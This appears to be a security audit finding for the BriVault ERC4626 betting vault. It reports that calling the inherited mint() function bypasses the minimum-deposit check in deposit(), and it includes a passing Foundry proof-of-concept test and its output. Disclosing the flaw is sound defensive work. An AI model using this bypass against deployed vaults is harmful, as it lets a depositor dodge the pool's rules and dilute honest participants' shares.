The BriVault contract has a critical vulnerability that allows users to deposit amounts below the required minimum. The contract sets a minimum deposit amount to ensure participants have meaningful stakes in the tournament, but this protection only exists in the custom deposit() function. The contract inherits from ERC4626 which provides a mint() function that the contract fails to override. An attacker can simply call mint() instead of deposit() to bypass the minimum amount check entirely. This means someone could participate with just 1 token when the contract requires 100 tokens minimum, completely defeating the purpose of having a minimum stake requirement.
This vulnerability allows attackers to participate in the betting pool with tiny amounts far below the intended minimum deposit. This breaks the economic model of the vault because the minimum amount exists to ensure all participants have skin in the game and to prevent spam attacks with dust amounts. An attacker could create hundreds of positions with minimal capital, potentially manipulating the share distribution or clogging up the system with worthless positions. Legitimate users who followed the rules and deposited the proper minimum amount are disadvantaged because their percentage of the pool is diluted by these invalid micro-deposits. The integrity of the entire betting system is compromised when the rules can be so easily bypassed.
Result:
┌──(m1s0㉿M1S0)-[~/Desktop/Shepherd/2025-11-brivault-main]
└─$ forge test --match-test testExploitBypassMinimumAmount -vv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.30
[⠊] Solc 0.8.30 finished in 812.16ms
Compiler run successful!
Ran 1 test for test/Exploit.t.sol:ExploitTest
[PASS] testExploitBypassMinimumAmount() (gas: 149259)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.58ms (196.82µs CPU time)
Ran 1 test suite in 10.67ms (2.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitBypassMinimumAmount() public {
uint256 belowMinimum = 1 * 1e18;
vm.startPrank(attacker);
token.approve(address(briVault), type(uint256).max);
vm.expectRevert();
briVault.deposit(belowMinimum, attacker);
uint256 attackerBalanceBefore = token.balanceOf(attacker);
uint256 vaultBalanceBefore = token.balanceOf(address(briVault));
briVault.mint(belowMinimum, attacker);
uint256 attackerBalanceAfter = token.balanceOf(attacker);
uint256 vaultBalanceAfter = token.balanceOf(address(briVault));
uint256 attackerShares = briVault.balanceOf(attacker);
uint256 assetsDeposited = attackerBalanceBefore - attackerBalanceAfter;
assertGt(attackerShares, 0);
assertGt(assetsDeposited, 0);
assertGt(vaultBalanceAfter, vaultBalanceBefore);
assertLt(assetsDeposited, minimumAmount);
vm.stopPrank();
}
}